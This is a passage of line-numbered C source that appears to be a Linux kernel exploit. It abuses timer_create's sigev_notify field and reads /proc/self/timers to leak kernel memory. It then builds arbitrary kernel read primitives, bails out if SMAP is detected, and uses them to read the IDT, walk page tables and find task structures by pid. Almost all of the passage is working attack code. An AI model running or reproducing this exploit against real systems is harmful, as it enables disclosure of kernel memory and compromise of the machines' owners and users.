(1ul << PAGE_SHIFT) 160 | #define PAGE_MASK (~(PAGE_SIZE - 1)) 161 | 162 | #define HUGE_PAGE_SHIFT 21 163 | #define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT) 164 | #define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1)) 165 | 166 | #define TASK_SIZE (1ul << 47) 167 | #define PAGE_OFFSET_BASE 0xffff880000000000ul 168 | 169 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 170 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 171 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 172 | 173 | #define LOG_INFO 1 174 | #define LOG_DEBUG 2 175 | 176 | #define log(level, format, args...) \ 177 | do { \ 178 | if (level == LOG_INFO) \ 179 | printf(format, ## args); \ 180 | else \ 181 | fprintf(stderr, format, ## args); \ 182 | } while(0) 183 | 184 | #define info(format, args...) log(LOG_INFO, format, ## args) 185 | 186 | #if (DEBUG >= 1) 187 | #define debug1(format, args...) log(LOG_DEBUG, format, ## args) 188 | #else 189 | #define debug1(format, args...) 190 | #endif 191 | 192 | #if (DEBUG >= 2) 193 | #define debug2(format, args...) log(LOG_DEBUG, format, ## args) 194 | #else 195 | #define debug2(format, args...) 196 | #endif 197 | 198 | #define min(x, y) ((x) < (y) ? (x) : (y)) 199 | 200 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 201 | 202 | static void print_chunk(int level, unsigned long src_addr, char *buffer, 203 | int len, int chunk_size) { 204 | int i; 205 | 206 | assert(len <= chunk_size); 207 | 208 | log(level, "%016lx: ", src_addr); 209 | for (i = 0; i < len; i++) 210 | log(level, "%02hx ", (unsigned char)buffer[i]); 211 | for (i = len; i < chunk_size; i++) 212 | log(level, " "); 213 | 214 | log(level, " "); 215 | 216 | for (i = 0; i < len; i++) { 217 | if (isalnum(buffer[i])) 218 | log(level, "%c", buffer[i]); 219 | else 220 | log(level, "."); 221 | } 222 | 223 | log(level, "\n"); 224 | } 225 | 226 | static void print_bytes(int level, unsigned long src_addr, char *buffer, 227 | int len) { 228 | int chunk_size = 16; 229 | assert(chunk_size % 2 == 0); 230 | 231 | int chunk; 232 | for (chunk = 0; chunk < len / chunk_size; chunk++) 233 | print_chunk(level, src_addr + chunk * chunk_size, 234 | &buffer[chunk * chunk_size], chunk_size, chunk_size); 235 | 236 | int rem = len % chunk_size; 237 | if (rem != 0) 238 | print_chunk(level, src_addr + len - rem, 239 | &buffer[len - rem], rem, chunk_size); 240 | } 241 | 242 | 243 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 244 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 245 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 246 | 247 | #define MIN_KERNEL_BASE 0xffffffff81000000ul 248 | #define MAX_KERNEL_BASE 0xffffffffff000000ul 249 | #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB 250 | 251 | #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) 252 | #define MMAP_ADDR_START 0x200000000ul 253 | #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) 254 | 255 | #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) 256 | // == 0x4fe00000 257 | 258 | #define MAX_MAPPINGS 1024 259 | #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) 260 | 261 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 262 | 263 | static struct proc_reader g_proc_reader; 264 | static unsigned long g_leak_ptr_addr = 0; 265 | 266 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 267 | 268 | #define PROC_INITIAL_SIZE 1024 269 | #define PROC_CHUNK_SIZE 1024 270 | 271 | struct proc_reader { 272 | char *buffer; 273 | int buffer_size; 274 | int read_size; 275 | }; 276 | 277 | static void proc_init(struct proc_reader* pr) { 278 | debug2("proc_init: %016lx\n", pr); 279 | 280 | pr->buffer = malloc(PROC_INITIAL_SIZE); 281 | if (pr->buffer == NULL) { 282 | perror("[-] proc_init: malloc()"); 283 | exit(EXIT_FAILURE); 284 | } 285 | pr->buffer_size = PROC_INITIAL_SIZE; 286 | pr->read_size = 0; 287 | 288 | debug2("proc_init = void\n"); 289 | } 290 | 291 | static void proc_ensure_size(struct proc_reader* pr, int size) { 292 | if (pr->buffer_size >= size) 293 | return; 294 | while (pr->buffer_size < size) 295 | pr->buffer_size <<= 1; 296 | pr->buffer = realloc(pr->buffer, pr->buffer_size); 297 | if (pr->buffer == NULL) { 298 | perror("[-] proc_ensure_size: realloc()"); 299 | exit(EXIT_FAILURE); 300 | } 301 | } 302 | 303 | static int proc_read(struct proc_reader* pr, const char *file) { 304 | debug2("proc_read: file: %s, pr->buffer_size: %d\n", 305 | file, pr->buffer_size); 306 | 307 | int fd = open(file, O_RDONLY); 308 | if (fd == -1) { 309 | perror("[-] proc_read: open()"); 310 | exit(EXIT_FAILURE); 311 | } 312 | 313 | pr->read_size = 0; 314 | while (true) { 315 | proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); 316 | int bytes_read = read(fd, &pr->buffer[pr->read_size], 317 | PROC_CHUNK_SIZE); 318 | if (bytes_read == -1) { 319 | perror("[-] read(proc)"); 320 | exit(EXIT_FAILURE); 321 | } 322 | pr->read_size += bytes_read; 323 | if (bytes_read < PROC_CHUNK_SIZE) 324 | break; 325 | } 326 | 327 | close(fd); 328 | 329 | debug2("proc_read = %d\n", pr->read_size); 330 | return pr->read_size; 331 | } 332 | 333 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 334 | 335 | typedef union k_sigval { 336 | int sival_int; 337 | void *sival_ptr; 338 | } k_sigval_t; 339 | 340 | #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) 341 | #define SIGEV_MAX_SIZE 64 342 | #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ 343 | / sizeof(int)) 344 | 345 | typedef struct k_sigevent { 346 | k_sigval_t sigev_value; 347 | int sigev_signo; 348 | int sigev_notify; 349 | union { 350 | int _pad[SIGEV_PAD_SIZE]; 351 | int _tid; 352 | 353 | struct { 354 | void (*_function)(sigval_t); 355 | void *_attribute; 356 | } _sigev_thread; 357 | } _sigev_un; 358 | } k_sigevent_t; 359 | 360 | static void leak_setup() { 361 | k_sigevent_t se; 362 | memset(&se, 0, sizeof(se)); 363 | se.sigev_signo = SIGRTMIN; 364 | se.sigev_notify = OPTIMAL_PTR_OFFSET; 365 | timer_t timerid = 0; 366 | 367 | int rv = syscall(SYS_timer_create, CLOCK_REALTIME, 368 | (void *)&se, &timerid); 369 | if (rv != 0) { 370 | perror("[-] timer_create()"); 371 | exit(EXIT_FAILURE); 372 | } 373 | } 374 | 375 | static void leak_parse(char *in, int in_len, char **start, char **end) { 376 | const char *needle = "notify: "; 377 | *start = memmem(in, in_len, needle, strlen(needle)); 378 | assert(*start != NULL); 379 | *start += strlen(needle); 380 | 381 | assert(in_len > 0); 382 | assert(in[in_len - 1] == '\n'); 383 | *end = &in[in_len - 2]; 384 | while (*end > in && **end != '\n') 385 | (*end)--; 386 | assert(*end > in); 387 | while (*end > in && **end != '/') 388 | (*end)--; 389 | assert(*end > in); 390 | assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); 391 | 392 | assert(*end >= *start); 393 | } 394 | 395 | static void leak_once(char **start, char **end) { 396 | int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); 397 | leak_parse(g_proc_reader.buffer, read_size, start, end); 398 | } 399 | 400 | static int leak_once_and_copy(char *out, int out_len) { 401 | assert(out_len > 0); 402 | 403 | char *start, *end; 404 | leak_once(&start, &end); 405 | 406 | int size = min(end - start, out_len); 407 | memcpy(out, start, size); 408 | 409 | if (size == out_len) 410 | return size; 411 | 412 | out[size] = 0; 413 | return size + 1; 414 | } 415 | 416 | static void leak_range(unsigned long addr, size_t length, char *out) { 417 | size_t total_leaked = 0; 418 | while (total_leaked < length) { 419 | unsigned long addr_to_leak = addr + total_leaked; 420 | *(unsigned long *)g_leak_ptr_addr = addr_to_leak; 421 | debug2("leak_range: offset %ld, addr: %lx\n", 422 | total_leaked, addr_to_leak); 423 | int leaked = leak_once_and_copy(out + total_leaked, 424 | length - total_leaked); 425 | total_leaked += leaked; 426 | } 427 | } 428 | 429 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 430 | 431 | static void mmap_fixed(unsigned long addr, size_t size) { 432 | void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, 433 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 434 | if (rv != (void *)addr) { 435 | perror("[-] mmap()"); 436 | exit(EXIT_FAILURE); 437 | } 438 | } 439 | 440 | static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, 441 | unsigned long end) { 442 | int page_size = PAGE_SIZE; 443 | assert(fd_size % page_size == 0); 444 | assert(start % page_size == 0); 445 | assert(end % page_size == 0); 446 | assert((end - start) % fd_size == 0); 447 | 448 | debug1("mmap_fd_over: [%lx, %lx)\n", start, end); 449 | 450 | unsigned long addr; 451 | for (addr = start; addr < end; addr += fd_size) { 452 | void *rv = mmap((void *)addr, fd_size, PROT_READ, 453 | MAP_FIXED | MAP_PRIVATE, fd, 0); 454 | if (rv != (void *)addr) { 455 | perror("[-] mmap()"); 456 | exit(EXIT_FAILURE); 457 | } 458 | } 459 | 460 | debug1("mmap_fd_over = void\n"); 461 | } 462 | 463 | static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, 464 | unsigned long end) { 465 | int rv = munmap((void *)start, end - start); 466 | if (rv != 0) { 467 | perror("[-] munmap()"); 468 | exit(EXIT_FAILURE); 469 | } 470 | mmap_fd_over(fd, fd_size, start, end); 471 | } 472 | 473 | #define MEMFD_CHUNK_SIZE 0x1000 474 | 475 | static int create_filled_memfd(const char *name, unsigned long size, 476 | unsigned long value) { 477 | int i; 478 | char buffer[MEMFD_CHUNK_SIZE]; 479 | 480 | assert(size % MEMFD_CHUNK_SIZE == 0); 481 | 482 | int fd = syscall(SYS_memfd_create, name, 0); 483 | if (fd < 0) { 484 | perror("[-] memfd_create()"); 485 | exit(EXIT_FAILURE); 486 | } 487 | 488 | for (i = 0; i < sizeof(buffer) / sizeof(value); i++) 489 | *(unsigned long *)&buffer[i * sizeof(value)] = value; 490 | 491 | for (i = 0; i < size / sizeof(buffer); i++) { 492 | int bytes_written = write(fd, &buffer[0], sizeof(buffer)); 493 | if (bytes_written != sizeof(buffer)) { 494 | perror("[-] write(memfd)"); 495 | exit(EXIT_FAILURE); 496 | } 497 | } 498 | 499 | return fd; 500 | } 501 | 502 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 503 | 504 | static const char *evil = "evil"; 505 | static const char *good = "good"; 506 | 507 | static bool bisect_probe() { 508 | char *start, *end; 509 | leak_once(&start, &end); 510 | return *start == 'g'; 511 | } 512 | 513 | static unsigned long bisect_via_memfd(unsigned long fd_size, 514 | unsigned long start, unsigned long end) { 515 | assert((end - start) % fd_size == 0); 516 | 517 | int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); 518 | int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); 519 | 520 | unsigned long left = 0; 521 | unsigned long right = (end - start) / fd_size; 522 | 523 | while (right - left > 1) { 524 | unsigned long middle = left + (right - left) / 2; 525 | remap_fd_over(fd_evil, fd_size, start + left * fd_size, 526 | start + middle * fd_size); 527 | remap_fd_over(fd_good, fd_size, start + middle * fd_size, 528 | start + right * fd_size); 529 | bool probe = bisect_probe(); 530 | if (probe) 531 | left = middle; 532 | else 533 | right = middle; 534 | } 535 | 536 | int rv = munmap((void *)start, end - start); 537 | if (rv != 0) { 538 | perror("[-] munmap()"); 539 | exit(EXIT_FAILURE); 540 | } 541 | 542 | close(fd_evil); 543 | close(fd_good); 544 | 545 | return start + left * fd_size; 546 | } 547 | 548 | static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { 549 | int word_size = sizeof(unsigned long); 550 | 551 | assert((end - start) % word_size == 0); 552 | assert((end - start) % PAGE_SIZE == 0); 553 | 554 | mmap_fixed(start, end - start); 555 | 556 | unsigned long left = 0; 557 | unsigned long right = (end - start) / word_size; 558 | 559 | while (right - left > 1) { 560 | unsigned long middle = left + (right - left) / 2; 561 | unsigned long a; 562 | for (a = left; a < middle; a++) 563 | *(unsigned long *)(start + a * word_size) = 564 | (unsigned long)evil; 565 | for (a = middle; a < right; a++) 566 | *(unsigned long *)(start + a * word_size) = 567 | (unsigned long)good; 568 | bool probe = bisect_probe(); 569 | if (probe) 570 | left = middle; 571 | else 572 | right = middle; 573 | } 574 | 575 | int rv = munmap((void *)start, end - start); 576 | if (rv != 0) { 577 | perror("[-] munmap()"); 578 | exit(EXIT_FAILURE); 579 | } 580 | 581 | return start + left * word_size; 582 | } 583 | 584 | static unsigned long bisect_leak_ptr_addr() { 585 | unsigned long addr = bisect_via_memfd( 586 | MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); 587 | debug1("%lx %lx\n", addr, addr + MEMFD_SIZE); 588 | addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); 589 | debug1("%lx %lx\n", addr, addr + PAGE_SIZE); 590 | addr = bisect_via_assign(addr, addr + PAGE_SIZE); 591 | debug1("%lx\n", addr); 592 | return addr; 593 | } 594 | 595 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 596 | 597 | #define CPUINFO_SMEP 1 598 | #define CPUINFO_SMAP 2 599 | #define CPUINFO_KAISER 4 600 | #define CPUINFO_PTI 8 601 | 602 | static int cpuinfo_scan() { 603 | int length = proc_read(&g_proc_reader, "/proc/cpuinfo"); 604 | char *buffer = &g_proc_reader.buffer[0]; 605 | int rv = 0; 606 | char* found = memmem(buffer, length, "smep", 4); 607 | if (found != NULL) 608 | rv |= CPUINFO_SMEP; 609 | found = memmem(buffer, length, "smap", 4); 610 | if (found != NULL) 611 | rv |= CPUINFO_SMAP; 612 | found = memmem(buffer, length, "kaiser", 4); 613 | if (found != NULL) 614 | rv |= CPUINFO_KAISER; 615 | found = memmem(buffer, length, " pti", 4); 616 | if (found != NULL) 617 | rv |= CPUINFO_PTI; 618 | return rv; 619 | } 620 | 621 | static void cpuinfo_check() { 622 | int rv = cpuinfo_scan(); 623 | if (rv & CPUINFO_SMAP) { 624 | info("[-] SMAP detected, no bypass available, aborting\n"); 625 | exit(EXIT_FAILURE); 626 | } 627 | } 628 | 629 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 630 | 631 | static void arbitrary_read_init() { 632 | info("[.] setting up proc reader\n"); 633 | proc_init(&g_proc_reader); 634 | info("[~] done\n"); 635 | 636 | info("[.] checking /proc/cpuinfo\n"); 637 | cpuinfo_check(); 638 | info("[~] looks good\n"); 639 | 640 | info("[.] setting up timer\n"); 641 | leak_setup(); 642 | info("[~] done\n"); 643 | 644 | info("[.] finding leak pointer address\n"); 645 | g_leak_ptr_addr = bisect_leak_ptr_addr(); 646 | info("[+] done: %016lx\n", g_leak_ptr_addr); 647 | 648 | info("[.] mapping leak pointer page\n"); 649 | mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); 650 | info("[~] done\n"); 651 | } 652 | 653 | static void read_range(unsigned long addr, size_t length, char *buffer) { 654 | leak_range(addr, length, buffer); 655 | } 656 | 657 | static uint64_t read_8(unsigned long addr) { 658 | uint64_t result; 659 | read_range(addr, sizeof(result), (char *)&result); 660 | return result; 661 | } 662 | 663 | static uint32_t read_4(unsigned long addr) { 664 | uint32_t result; 665 | read_range(addr, sizeof(result), (char *)&result); 666 | return result; 667 | } 668 | 669 | static uint64_t read_field_8(unsigned long addr, int offset) { 670 | return read_8(addr + offset); 671 | } 672 | 673 | static uint64_t read_field_4(unsigned long addr, int offset) { 674 | return read_4(addr + offset); 675 | } 676 | 677 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 678 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 679 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 680 | 681 | struct idt_register { 682 | uint16_t length; 683 | uint64_t base; 684 | } __attribute__((packed)); 685 | 686 | struct idt_gate { 687 | uint16_t offset_1; // bits 0..15 688 | uint32_t shit_1; 689 | uint16_t offset_2; // bits 16..31 690 | uint32_t offset_3; // bits 32..63 691 | uint32_t shit_2; 692 | } __attribute__((packed)); 693 | 694 | static uint64_t idt_gate_addr(struct idt_gate *gate) { 695 | uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) + 696 | ((uint64_t)gate->offset_3 << 32); 697 | return addr; 698 | } 699 | 700 | static void get_idt(struct idt_register *idtr) { 701 | asm ( "sidt %0" : : "m"(*idtr) ); 702 | debug1("get_idt_base: base: %016lx, length: %d\n", 703 | idtr->base, idtr->length); 704 | } 705 | 706 | static void print_idt(int entries) { 707 | char buffer[4096]; 708 | struct idt_register idtr; 709 | int i; 710 | 711 | get_idt(&idtr); 712 | assert(idtr.length <= sizeof(buffer)); 713 | read_range(idtr.base, idtr.length, &buffer[0]); 714 | 715 | info("base: %016lx, length: %d\n", idtr.base, 716 | (int)idtr.length); 717 | 718 | entries = min(entries, idtr.length / sizeof(struct idt_gate)); 719 | for (i = 0; i < entries; i++) { 720 | struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; 721 | uint64_t addr = idt_gate_addr(gate); 722 | info("gate #%03d: %016lx\n", i, addr); 723 | } 724 | } 725 | 726 | static uint64_t read_idt_gate(int i) { 727 | char buffer[4096]; 728 | struct idt_register idtr; 729 | 730 | get_idt(&idtr); 731 | assert(idtr.length <= sizeof(buffer)); 732 | assert(i <= idtr.length / sizeof(struct idt_gate)); 733 | read_range(idtr.base, idtr.length, &buffer[0]); 734 | 735 | struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; 736 | uint64_t addr = idt_gate_addr(gate); 737 | return addr; 738 | } 739 | 740 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 741 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 742 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 743 | 744 | #define PTRS_PER_PGD 512 745 | #define PTRS_PER_PUD 512 746 | #define PTRS_PER_PMD 512 747 | #define PTRS_PER_PTE 512 748 | 749 | #define PGD_SHIFT 39 750 | #define PUD_SHIFT 30 751 | #define PMD_SHIFT 21 752 | 753 | #define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1)) 754 | #define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1)) 755 | #define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1)) 756 | #define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)) 757 | 758 | #define _PAGE_BIT_PRESENT 0 759 | #define _PAGE_BIT_ACCESSED 5 760 | #define _PAGE_BIT_DIRTY 6 761 | #define _PAGE_BIT_PSE 7 762 | #define _PAGE_BIT_GLOBAL 8 763 | #define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL 764 | 765 | #define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT) 766 | #define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED) 767 | #define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY) 768 | #define _PAGE_PSE (1ul << _PAGE_BIT_PSE) 769 | #define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE) 770 | #define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED) 771 | 772 | #define pgd_none(value) ((value) == 0) 773 | #define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) 774 | #define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) 775 | #define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) 776 | 777 | #define __PHYSICAL_MASK_SHIFT 52 778 | #define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1) 779 | #define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK) 780 | #define PTE_PFN_MASK (PHYSICAL_PAGE_MASK) 781 | #define PTE_FLAGS_MASK (~PTE_PFN_MASK) 782 | 783 | #define pgd_flags(value) (value & PTE_FLAGS_MASK) 784 | #define pud_flags(value) (value & PTE_FLAGS_MASK) 785 | #define pmd_flags(value) (value & PTE_FLAGS_MASK) 786 | #define pte_flags(value) (value & PTE_FLAGS_MASK) 787 | 788 | #define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT) 789 | #define pud_present(value) (pud_flags(value) & _PAGE_PRESENT) 790 | #define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \ 791 | _PAGE_PROTNONE | _PAGE_PSE)) 792 | #define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \ 793 | _PAGE_PROTNONE)) 794 | 795 | struct pte_entry { 796 | unsigned long addr; 797 | unsigned long entries[PTRS_PER_PTE]; 798 | }; 799 | 800 | struct pmd_entry { 801 | unsigned long addr; 802 | struct { 803 | bool huge; 804 | union { 805 | struct pte_entry *pte; 806 | unsigned long phys; 807 | }; 808 | } entries[PTRS_PER_PMD]; 809 | }; 810 | 811 | struct pud_entry { 812 | unsigned long addr; 813 | struct pmd_entry *entries[PTRS_PER_PUD]; 814 | }; 815 | 816 | struct pgd_entry { 817 | unsigned long addr; 818 | struct pud_entry *entries[PTRS_PER_PGD]; 819 | }; 820 | 821 | struct ptsc { 822 | unsigned long physmap; 823 | struct pgd_entry entry; 824 | }; 825 | 826 | static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) { 827 | struct pte_entry *entry = malloc(sizeof(*entry)); 828 | if (!entry) { 829 | perror("[-] malloc()"); 830 | exit(EXIT_FAILURE); 831 | } 832 | entry->addr = addr; 833 | memset(&entry->entries[0], 0, sizeof(entry->entries)); 834 | return entry; 835 | } 836 | 837 | static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) { 838 | struct pmd_entry *entry = malloc(sizeof(*entry)); 839 | if (!entry) { 840 | perror("[-] malloc()"); 841 | exit(EXIT_FAILURE); 842 | } 843 | entry->addr = addr; 844 | memset(&entry->entries[0], 0, sizeof(entry->entries)); 845 | return entry; 846 | } 847 | 848 | static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) { 849 | struct pud_entry *entry = malloc(sizeof(*entry)); 850 | if (!entry) { 851 | perror("[-] malloc()"); 852 | exit(EXIT_FAILURE); 853 | } 854 | entry->addr = addr; 855 | memset(&entry->entries[0], 0, sizeof(entry->entries)); 856 | return entry; 857 | } 858 | 859 | static void ptsc_init(struct ptsc* ptsc, unsigned long physmap, 860 | unsigned long pgd) { 861 | ptsc->physmap = physmap; 862 | ptsc->entry.addr = pgd; 863 | memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries)); 864 | } 865 | 866 | static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc, 867 | unsigned long addr) { 868 | struct pgd_entry *pgd_e; 869 | struct pud_entry *pud_e; 870 | struct pmd_entry *pmd_e; 871 | struct pte_entry *pte_e; 872 | unsigned long phys_a; 873 | int index; 874 | 875 | debug1("looking up phys addr for %016lx:\n", addr); 876 | 877 | pgd_e = &ptsc->entry; 878 | 879 | index = pgd_index(addr); 880 | debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index); 881 | if (!pgd_e->entries[index]) { 882 | unsigned long pgd_v = read_8( 883 | pgd_e->addr + index * sizeof(unsigned long)); 884 | debug1(" -> %016lx\n", pgd_v); 885 | if (pgd_none(pgd_v)) { 886 | debug1(" not found, pgd is none\n"); 887 | return 0; 888 | } 889 | if (!pgd_present(pgd_v)) { 890 | debug1(" not found, pgd is not present\n"); 891 | return 0; 892 | } 893 | unsigned long pud_a = 894 | ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK); 895 | pud_e = ptsc_alloc_pud_entry(pud_a); 896 | pgd_e->entries[index] = pud_e; 897 | } 898 | pud_e = pgd_e->entries[index]; 899 | 900 | index = pud_index(addr); 901 | debug1(" pud: %016lx, index: %d\n", pud_e->addr, index); 902 | if (!pud_e->entries[index]) { 903 | unsigned long pud_v = read_8( 904 | pud_e->addr + index * sizeof(unsigned long)); 905 | debug1(" -> %016lx\n", pud_v); 906 | if (pud_none(pud_v)) { 907 | debug1(" not found, pud is none\n"); 908 | return 0; 909 | } 910 | if (!pud_present(pud_v)) { 911 | debug1(" not found, pud is not present\n"); 912 | return 0; 913 | } 914 | unsigned long pmd_a = 915 | ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK); 916 | pmd_e = ptsc_alloc_pmd_entry(pmd_a); 917 | pud_e->entries[index] = pmd_e; 918 | } 919 | pmd_e = pud_e->entries[index]; 920 | 921 | index = pmd_index(addr); 922 | debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index); 923 | if (!pmd_e->entries[index].pte) { 924 | unsigned long pmd_v = read_8( 925 | pmd_e->addr + index * sizeof(unsigned long)); 926 | debug1(" -> %016lx\n", pmd_v); 927 | if (pmd_none(pmd_v)) { 928 | debug1(" not found, pmd is none\n"); 929 | return 0; 930 | } 931 | if (!pmd_present(pmd_v)) { 932 | debug1(" not found, pmd is not present\n"); 933 | return 0; 934 | } 935 | if (pmd_flags(pmd_v) & _PAGE_PSE) { 936 | phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) + 937 | (addr & ~HUGE_PAGE_MASK); 938 | pmd_e->entries[index].phys = phys_a; 939 | pmd_e->entries[index].huge = true; 940 | } else { 941 | unsigned long pte_a = 942 | ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK); 943 | pte_e = ptsc_alloc_pte_entry(pte_a); 944 | pmd_e->entries[index].pte = pte_e; 945 | pmd_e->entries[index].huge = false; 946 | } 947 | } 948 | 949 | if (pmd_e->entries[index].huge) { 950 | debug1(" phy: %016lx (huge)\n", phys_a); 951 | return pmd_e->entries[index].phys; 952 | } 953 | 954 | pte_e = pmd_e->entries[index].pte; 955 | 956 | index = pte_index(addr); 957 | debug1(" pte: %016lx, index: %d\n", pte_e->addr, index); 958 | if (!pte_e->entries[index]) { 959 | unsigned long pte_v = read_8( 960 | pte_e->addr + index * sizeof(unsigned long)); 961 | debug1(" -> %016lx\n", pte_v); 962 | if (pte_none(pte_v)) { 963 | debug1(" not found, pte is none\n"); 964 | return 0; 965 | } 966 | if (!pte_present(pte_v)) { 967 | debug1(" not found, pte is not present\n"); 968 | return 0; 969 | } 970 | phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) + 971 | (addr & ~PAGE_MASK); 972 | pte_e->entries[index] = phys_a; 973 | } 974 | phys_a = pte_e->entries[index]; 975 | 976 | return phys_a; 977 | } 978 | 979 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 980 | 981 | static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) { 982 | unsigned long cur_task = init_task; 983 | 984 | while (true) { 985 | unsigned cur_pid = 986 | read_field_4(cur_task, O_TASK_STRUCT_PID); 987 | if (cur_pid == pid) 988 | return cur_task; 989 | unsigned long task_next_ptr = 990 | read_field_8(cur_task, O_TASK_STRUCT_TASKS); 991 | cur_task = task_next_ptr - O_TASK_STRUCT_TASKS; 992 | if (cur_task == init_task) 993 | return 0; 994 | } 995 | } 996 | 997 | #define MAX_MMAPS_PER_TASK 512 998 | 999 | struct mmap_entry { 1000 | unsigned long start; 1001 | unsigned long end; 1002 | unsigned flags; 1003 | }; 1004 | 1005 | typedef void (*mmap_callback)(struct mmap_entry *entry, void *private); 1006 | 1007 | static void for_each_mmap_from(unsigned long mmap, mmap_callback callback, 1008 | void *private) { 1009 | struct mmap_entry entries[MAX_MMAPS_PER_TASK]; 1010 | int i, count; 1011 | 1012 | count = 0; 1013 | while (mmap != 0) { 1014 | assert(count < MAX_MMAPS_PER_TASK); 1015 | unsigned long vm_start = 1016 | read_field_8(mmap, O_VM_AREA_STRUCT_VM_START); 1017 | unsigned long vm_end = 1018 | read_field_8(mmap, O_VM_AREA_STRUCT_VM_END); 1019 | if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) { 1020 | info("[-] bad mmap (did the task die?)\n"); 1021 | exit(EXIT_FAILURE); 1022 | } 1023 | unsigned vm_flags = 1024 | read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS); 1025 | entries[count].start = vm_start; 1026 | entries[count].end = vm_end; 1027 | entries[count].flags = vm_flags; 1028 | count++; 1029 | mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT); 1030 | } 1031 | 1032 | for (i = 0; i < count; i++) 1033 | callback(&entries[i], private); 1034 | } 1035 | 1036 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1037 | 1038 | static unsigned long g_kernel_text = 0; 1039 | static unsigned long g_physmap = 0; 1040 | 1041 | static struct ptsc g_ptsc; 1042 | 1043 